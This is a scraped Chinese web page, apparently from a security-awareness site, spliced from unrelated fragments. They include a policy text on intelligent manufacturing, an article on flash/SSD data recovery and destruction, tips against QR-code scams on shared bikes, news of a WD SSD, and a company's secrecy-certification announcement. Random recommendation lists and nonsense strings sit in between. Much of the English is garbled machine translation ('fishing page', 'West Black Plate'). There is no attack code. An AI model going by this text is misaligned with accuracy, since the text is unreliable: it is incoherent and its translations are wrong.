第一,推进智能制造关键装备与核心软件的自主研发与产业化,提高价值链核心环节的掌控力。政府应加大对智能制造软、硬件基础研究的支持力度,突破制约智能制造发展的关键核心技术;推动官、产、学、研、用合作和组建产业创新联盟,加快推进中国智能制造标准的制定,工业软件特别是智能制造操作系统的开发以及推广应用;研发具有自主知识产权的工业机器人、增材制造装备、智能传感与控制装备等关键技术装备,全面提升智能制造的产业化水平。
First, to promote the development and industrialization of key equipment and core software of intelligent manufacturing, improve the control of the core link of the value chain. The government should increase the manufacturing based on software and hardware of the intelligent support, the key technology of intelligent manufacturing breakthroughs in development; promote the official production, learning and research, cooperation and the establishment of industrial innovation alliance, accelerate the formulation of China intelligent manufacturing standards, especially intelligent manufacturing industry software operating system development and application; the development of industrial robots, with independent intellectual property rights, increasing material manufacturing equipment, intelligent sensing and control equipment and other key technology and equipment, to enhance the level of industrialization of intelligent manufacturing.
第二,鼓励创新商业模式,打通价值网络。智能制造所带来的以消费者为中心、“需求定制+大数据营销+参与制造”的“产品+服务”新生产模式和商业模式,要求企业从封闭的价值链转向开放的价值网络。政府应鼓励企业建立平台生态圈,通过服务生态化、系统化和产品智能化,实现新的价值增值机会。
Second, encourage innovative business models, open up the value of the network. Intelligent manufacturing brings to consumers as the center, tailored to the needs of large data marketing in manufacturing and new product service mode of production and business model, enterprise network open to the value from the value chain closed. The government should encourage enterprises to build a platform ecosystem, ecosystem services, systems and intelligent products, to achieve new value-added opportunities.
汽车电子板块大幅冲高震荡 兆易创新、亚太股份涨停
第三,培育自主品牌和骨干企业,拓展全球市场。以智能制造试点示范专项行动为契机,集中资源重点培育一批自主创新能力强、主业突出、产品市场前景好、对产业带动作用大的大型骨干企业。鼓励企业积极“走出去”,一方面通过开放式创新,主动利用全球的创新资源;另一方面把智能制造的中国标准、中国平台推广出去,打造强大的智能制造生态系统。
Third, cultivate independent brands and key enterprises to expand the global market. Intelligent manufacturing pilot demonstration of special action as an opportunity to focus on cultivating a number of resources focused on independent innovation capability, the main industry is outstanding, good product market prospects, leading to a large role in the industry backbone enterprises. Encourage enterprises to actively go out, on the one hand, through open innovation, active use of global innovation resources; on the other hand, the intelligent manufacturing Chinese standard, Chinese platform out, create a powerful intelligent manufacturing ecosystem.
第四,建立满足智能制造需求的多层次人力资源开发体系。大力发展职业教育、继续教育、职业技能培训等,培养和造就具有较高素养的应用型人才。鼓励骨干企业与有条件的高等院校开展协同育人,建设产业人才培训基地,培育具有“工匠精神”的应用型人才,夯实智能制造的人才基础。
Fourth, the establishment of multi-level human resources development system to meet the needs of intelligent manufacturing. Vigorously develop vocational education, continuing education, vocational skills training, training and training of high quality of applied talents. We should encourage key enterprises to carry out cooperative education with qualified institutions of higher learning, build a training base for industrial talents, cultivate applied talents with artisan spirit, and lay a solid foundation for intelligent manufacturing.
第五,完善企业内部价值链管理,增强企业智能化管理能力,提高数据附加价值。针对智能制造高度柔性的生产模式对管理复杂度的新要求,引导企业从产品概念设计、原型开发、资源管理、订单管理、生产计划获取和执行,到物流管理、能源管理再到营销售后,按照产品附加值的新型创造方式进行整合,建立高效的智能化运营系统。

作为会计师(专业)的你,一生要考多少证?

Fifth, improve the enterprise’s internal value chain management, enhance the ability of intelligent management of enterprises, improve the value added data. According to the new requirements of intelligent manufacturing highly flexible production mode of management complexity, guide enterprises from product concept design, prototype development, resource management, order management, production planning and execution to obtain, logistics management, energy management and marketing integration in accordance with customer service, create new product added value, the establishment of intelligent system efficient operation.
该文章作者已设置需关注才可以留言
The author of the article has set up the need to be able to leave a message
微信扫一扫关注该公众号
WeChat sweep attention to the public number

微博、轻博客等社交网站遭钓鱼攻击严重,多数信息是由大批机器人自动回复的垃圾广告,诈骗信息等等影响了正常的使用,让用户的体验大打折扣,相信这种博弈会一直进行下去。

猜您喜欢

数据安全保护畅谈
商业银行信息科技风险中的人员安全问题研究
企业安全意识之歌
我国新建商品住宅价格涨幅趋缓
ONLINE-WEB-SUBMIT ARTAVITA
终端用户保障数据安全从何处入手

暗战:闪存产品数据安全攻防

本文原创作者:tgfreebuf,属Freebuf原创奖励计划,未经许可禁止转载

我们在谍战剧中时常可以看到情报机关由恐怖分子销毁的存储中恢复出片段数据,并据此进行下一步的抓捕行动,当然那是电影情节,不过随着闪存产品运用的日渐普及,围绕它的恢复和销毁的安全探讨也日益增多,在本文中我们尝试加以解析。

1.闪存数据恢复

目前常见的NAND Flash 数据恢复产品包括

Rusolut http://rusolut.com/

Ace Lab http://www.acelaboratory.com/

Soft Center http://www.soft-center.ru/

在本文中我们以Ace Lab的 PC-3000系列产品为例作为讲解

1.1  针对单闪存芯片可用PC-3000 Flash恢复

首先进行闪存拆焊(文中图片如无特别注明,均来自 PC-3000 支持博客)

1.jpg

之后上PC-3000 Flash进行恢复

2.jpg

1.2   针对SSD,可用PC-3000 SSD恢复

以下我们以一个Intel SSD为例,该盘由于固件模块损坏,导致数据已无法访问,我们尝试通过建立映射表的修复操作达到提取数据的目的。

进入修复程序,选择intel

3.jpg

选择系列

4.jpg

确认进入扩展技术模式

5.jpg

菜单选择“建立映射表”

6.jpg

建立映射表时模块部分的设定

7.jpg

建立完成

8.jpg

修改读取设定(之前的读取方式为技术指令方式,当映射关系正常建立后,应修改读取方式为映射表,以便后续进入DE提取数据),之后进入DE提取数据(Data Extractor,DE是与PC-3000产品配套使用的一款软件产品.拥有DE功能后用户可以从SSD上恢复数据.提取电子证据)

9.jpg

2.闪存数据销毁

总体来说,闪存产品(这里以大容量的SSD盘为例)销毁数据分两类:

一类是逻辑销毁,仅仅销毁数据,不损坏物理芯片;

逻辑销毁又分几类:一是数据的快速清除,一般通过外部开关让硬件清除脚位短路后,高效率的抹除Flash数据;另一种是数据覆盖和填充,相对比较费时。快速清除在实际操作中还是存在一定的风险,但是在紧急的情况下(比如电影情节中急需销毁数据时),快速清除还是有其存在的必要性。

10.jpg

图片来源: 创见官网

11.jpg

图片来源: 创见官网

另一类是物理销毁,即对芯片进行物理性的破坏,没有修复的可能。方式包括:重物压碎;化学溶液销毁;爆破销毁;高电压击穿芯片等。

12.jpg

源科军用标准固态盘—红色按钮高压击毁芯片,硬件不可用;绿色按钮进行逻辑销毁,硬件仍可用(图片来源: 源科官网)

3.结语

在电影中如果数据被完全销毁,那么故事情节可能又是另外一番结局,当然那只是电影。真实中数据安全的攻防就是高科技的抗衡,它是攻防两端能力的较量 ,我们只有不断关注攻防的消长,才能在动态平衡中实现安全。

本文原创作者:tgfreebuf,属Freebuf原创奖励计划,未经许可禁止转载

保密知识第一课——准确定密并正确标识国家秘密

猜您喜欢

幼儿园园长五年规划_it天空_ppt制作模板下载
Shanghai history of the most stringent food safety regulations on the implementation of the security system on the tongue (I) http://news.securityfrontline.org/201703214909.html
2016国考面试食品安全问题作答指南
网络安全公益短片扫描二维码的安全风险
WEBHOTLINK ANYSEND
安全意识教育培训重装上阵
抓住核心加固 教育部某考试平台实现安全升级

Scan code scam eyeing shared bikes, four strokes to ensure safety

撰文 │孙奇茹
Author \/ Sun Qiru
我们重视全体员工信息安全意识的建立,员工们的信息安全防护能力是我们整体安全计划的重要部分,我们在安全意识的教育宣传和培训方面也有一定的经费投入,因为我们相信,信息安全不仅仅是专职安全团队人员的职责。
扫码、开锁、上车走人,随时随地掏出手机就能骑走的共享单车最近几个月风靡全国。但在共享单车给小伙伴们带来便捷的同时,却也成了骗子们眼中的“香饽饽”。
Scan code, unlock, get on the train, anytime, anywhere will be able to pull out the bike to ride a bike sharing popular in recent months. But the bike sharing brings convenience to the buddies, but also became the crooks eyes xiangbobo.
下边是记者搜罗来的,骗子惯用的几种骗局和应对方法,希望对您有所帮助,万事加个“小心”——
The following is a reporter to collect, several kinds of fraud scam and coping methods, I hope to help you, everything plus a care –
骗局一:单车贴上收款二维码
Scam one: Bicycle posted on the collection of two-dimensional code
直接转账容易被警惕性高的用户察觉出猫腻,有些骗子脑洞大开,制作出高仿共享单车官方网站的钓鱼页面,以完善身份认证等名义诱骗用户主动填写个人身份信息和银行卡资料,从而进一步实施精准诈骗甚至盗刷网银。
Direct transfer to the high vigilance users perceive the tricky, some crooks brain hole wide open, create a high imitation of the official website of the bike sharing fishing page, in order to improve the authentication name to trick users to take the initiative to fill in personal identity information and credit card information, so as to further implement the accurate or even fraudulent online banking fraud.
骗局二:钓鱼网站骗信息

腾讯与联合国儿基会共建未成年人上网保护体系

Scam two: phishing sites cheat information
直接转账容易被警惕性高的用户察觉出猫腻,有些骗子脑洞大开,制作出高仿共享单车官方网站的钓鱼页面,以完善身份认证等名义诱骗用户主动填写个人身份信息和银行卡资料,从而进一步实施精准诈骗甚至盗刷网银。
Direct transfer to the high vigilance users perceive the tricky, some crooks brain hole wide open, create a high imitation of the official website of the bike sharing fishing page, in order to improve the authentication name to trick users to take the initiative to fill in personal identity information and credit card information, so as to further implement the accurate or even fraudulent online banking fraud.

推进重要产品信息化追溯体系建设提升产品质量安全

骗局三:山寨APP藏木马
Scam three: cottage APP hidden Trojan
保险业信息安全意识培养电子课件受欢迎
租用共享单车必须使用租车APP,骗子就设计了假租车APP二维码粘贴在单车上,提示用户“更新”。用户扫码后看似安装了租车软件,其实手机却被植入了木马。骗子可以盗取受害者手机里的个人信息,甚至拦截网银、网上支付等短信验证码,直接实施盗刷。
Hire a shared bicycle must use car rental APP, crooks on the design of a fake car APP two-dimensional code paste on the bike, prompting users to update. Users scan code seems to install the car rental software, in fact, the phone was implanted trojan. Crooks can steal personal information in the victim’s cell phone, and even intercept online banking, online payment and other SMS verification code, direct implementation of fraudulent.
反诈骗专家给骑行友们支招防骗

腾讯、阿里双双宣布使用英特尔Optane SSD

Anti fraud experts give riding friends weapon fangpian
1.通过正规应用商店下载共享单车APP,避免遭遇山寨APP而导致手机被植入木马病毒。
1 through the formal application of the store to download a shared bike APP, to avoid the occurrence of cottage APP led to the phone was implanted trojan.
2.扫码前一定要仔细辨别二维码是否存在被撬、被更换、被涂改、被覆盖、粘贴等痕迹。如果二维码是粘上去的,务必提高警惕。
2 sweep the code must be careful to distinguish whether the existence of a two-dimensional code was pry, replaced, altered, covered, paste and other traces. If the two-dimensional code is stuck, be sure to raise vigilance.
3.正规二维码扫描后一般会进入使用模式,绝不会跳转至付款页面。一旦扫码后弹出付款界面,肯定是假的。
3 regular two-dimensional code scanning will generally enter the mode of use, will never jump to the payment page. Once the scan code after the pop-up payment interface, it must be false.
4.目前大部分共享单车只能通过官方APP支付,只有摩拜单车除APP外还可通过微信小程序进入。扫码用车时,切记通过官方APP扫描,不要使用其他扫码工具。开启360手机卫士等安全软件,若不慎扫码进入钓鱼网站或是下载了木马APP,360可以直接拦截钓鱼网站和木马,保护手机不中招。
4 most of the current sharing bicycle can only pay through the official APP, only the v-mobile bike except APP can also enter through the WeChat app. Scan the code when the car, remember to scan through the official APP, do not use other scanning tools. Open 360 mobile guards and other security software, if accidentally sweep the code into the phishing site or download the Trojan APP, 360 can directly intercept phishing sites and Trojans, to protect the phone does not move.
该文章作者已设置需关注才可以留言
The author of the article has set up the need to be able to leave a message
微信扫一扫关注该公众号

WeChat sweep attention to the public number

加强员工的移动设备安全意识教育,能对整体的信息安全管理体系起到促进作用。如何提升员工的信息安全意识,请看我们的信息安全教育方案:

猜您喜欢

天津高新区打造THT无线园区让信息惠民落地
化解中美互联网安全争执的关键
人人需知的环境保护管理体系基础知识
娱乐圈气场最强的婆婆!张兰穿深V礼服现身尽显华贵
YABATECH CROSSROAD
网络安全公益短片个人信息保护实战

The West’s first black plate M.2 PCIe SSD listed a second speed up to 2G

湛江速诚zjcsdn888速诚电脑,选择放心!湛江速诚电脑为您提供最全面的电脑、手机维修服务!
Zhanjiang speed Cheng Cheng zjcsdn888 speed computer, choose rest assured! Zhanjiang speed computer to provide you with the most comprehensive computer, mobile phone repair services!

代表支招信息安全:加大刑罚力度 构建产业体系

电话:0759-2756880

嫌新员工融入得不够快?看别家新员工培训有多”心机”

Telephone: 0759-2756880

江南农村商业银行开展新员工入职培训活动

据外媒报道,西数首款黑盘M.2 PCIe SSD近日在日本秋叶原市场上发售,256GB版售价15500日元(折合人民币约933元),512GB售价26800日元(折合人民币约1614元)。。。

前Mozilla工程师:防病毒软件是毒药 请尽快卸载
企业需对关键信息资产进行全方位的系统保护,保障自身知识产权和市场竞争力。在信息系统受到侵害时,确保业务能够持续开展并将损失降至最低。
According to foreign media reports, the West’s first black plate M.2 PCIe SSD recently in Japan Akihabara market sale, 256GB version priced at 15500 yen (about 933 yuan), 512GB price of 26800 yen (about 1614 yuan)…
据悉,西数推出的PCI-E M.2 SSD黑盘采用的是TLC NAND芯片和Marvell 88SS 1093主控。性能方面,256GB的黑盘SSD的读写速度分别为2050MB/s、700MB/s,4KB随机读写速度分别为170000IOPS和130000IOPS。
It is reported that the launch of the PCI-E M.2 SSD westdata black plate is used in TLC NAND and Marvell 88SS 1093 main control chip. Performance, 256GB black disk SSD read and write speeds were 2050MB\/s, 700MB\/s, 4KB random read and write speeds were 170000IOPS and 130000IOPS.
西部宣称两款硬盘的MTTF(平均故障时间)均为175万小时,256G和512GB可写入数据容量分别为80TB与160TB,同时西数黑盘享受的是官方的五年质保
The west says the two hard disk MTTF (the average time is 1 million 750 thousand hours), 256G and 512GB can write data capacity are respectively 80TB and 160TB, while the West Black Plate enjoy is the official five year warranty
微信扫一扫关注该公众号
WeChat sweep attention to the public number

公司应该建立网络安全管理制度,规范管理网络结构、安全配置、日志保存、安全控制软件升级与打补丁、口令更新、文件备份和外部连接等方面的授权批准与变更审核,保障安全策略的有效执行。

猜您喜欢

构筑网络安全知识体系,为职业生涯扬帆起航
信息安全意识教育手段大比拼
EHS培训的实施与效果的考核
实拍解放军救援队乘伊尔-76飞赴尼泊尔
FOCUSIRELAND MEADOWMARSH
网络安全宣传——强健而安全的密码选择方法

【会员动态】祝贺立思辰喜获涉密信息系统集成甲级资质证书

公司应该加强信息系统知识产权保护和推进正版化工作,禁止复制、传播或使用非授权软件。
点击上方【中关村可信计算产业联盟】可关注 | 图片来自网络
【中关村可信计算产业联盟】为增加联盟成员间的相互了解,促进合作,推动可信计算技术创新、产品研发及产业发展,我们将定期向大家推送【会员动态】,期待关注。

成功通过审核近日,北京立思辰科技股份有限公司旗下全资子公司北京立思辰新技术有限公司成功通过各项审核,正式取得国家保密局颁发的“涉密信息系统集成甲级资质”证书。该项资质是由国家保密局统一进行管理、考核、认定,通过申请资格核准、书面审查、现场审查、问题整改及专家答辩,层层考核、层层把关,最终由国家保密局涉密信息系统集成资质管理委员会审批通过。
海立美达:弯道超车赢在转型 双轮驱动智造互联

厦门市制定城市公共安全管理平台运行规定
7成网民受网络信息安全威胁 手机验证码也不靠谱

涉密信息系统集成甲级资质是什么
涉密信息系统集成资质,指企事业单位可以从事涉密信息系统集成业务的法定资格,须保密行政管理部门审查确认。按照国家有关规定,从事涉及国家秘密的计算机信息系统集成业务的单位,须经保密主管部门审批,并取得《涉及国家秘密的计算机信息系统集成资质证书》,方可从事涉密信息系统集成业务。
立思辰的“考证”之路 保密行政管理部门对资质的申请、受理、使用和监督管理都有严格的管控制度,是我国信息安全行业高级别的安全集成认证,目前国内只有为数不多的企业具备该认证的甲级资质。据悉,立思辰于2016年10月启动国家“涉密甲级资质”申报工作,12月下旬通过国家保密局涉密信息系统集成资质现场审核,2017年3月2日正式取得国家保密局颁发的“涉密信息系统集成甲级资质”证书,整个资质申报过程中严格按照国家保密局的各项要求开展工作。此项资质的获得,标志着立思辰从事涉密信息业务所需要具备的综合能力,包括人员构成、技术水平、管理水平、技术装备、服务保障能力和安全保密保障设施等要素得到了国家保密机构的认可,彰显了公司在安全性、可靠性方面的综合研发实力。这将为其在全国范围内承接需要涉密资质的相关项目、进一步拓展业务提供了良好的基础和有力的保障。同时扩大了公司在信息安全领域的影响,对公司未来经营情况具有较大积极影响。

丢失身份证微信被盗刷 安全使用身份证这些常识你要懂

立思辰的炽燃决心 近年来,立思辰科研能力以及综合实力不断提升,坚持技术创新和应用创新双驱动,致力于数据安全、工控安全、和自主可控领域的技术研究和产品研发及应用,拥有完备的数据安全和工控安全产品线,为政府、教育、交通、能源、军队、军工、金融、电力、通讯等行业提供安全解决方案及服务。甲级资质的获得,也将进一步提升其品牌知名度和企业竞争力。相信未来的立思辰将不负众望,继续发挥自身的技术优势,开拓创新,挑战突破自我,并恪守国家的保密制度,进一步完善承担涉密信息系统集成业务的专业能力,确保涉密信息系统集成工作的质量和安全,向市场提供更多更好的服务,为国家信息安全建设做出贡献!
(文章来源:北京立思辰安全集团)
微信扫一扫关注该公众号


近年来,针对政府、金融、交通、电力、教育、科研等领域系统的攻击数量明显上升,攻击者会选择和利用我们的最薄弱环节,所以要想在未来的攻防博弈游戏中取得胜利,我们得加强安全体系建设,提升整体的信息安全防范水平。

猜您喜欢

数据的彻底销毁不容忽视
信息安全意识公开课提升国民网络素养
中国企业走向全球,国际化人才要接地气,融中西,海外风险与安全基础知识素养要强化:
曝温格决定留任2大腿离队名宿:枪手需重建
IFORD WINSORNEWTON
安全基础理论课程助力培养全民网络安全意识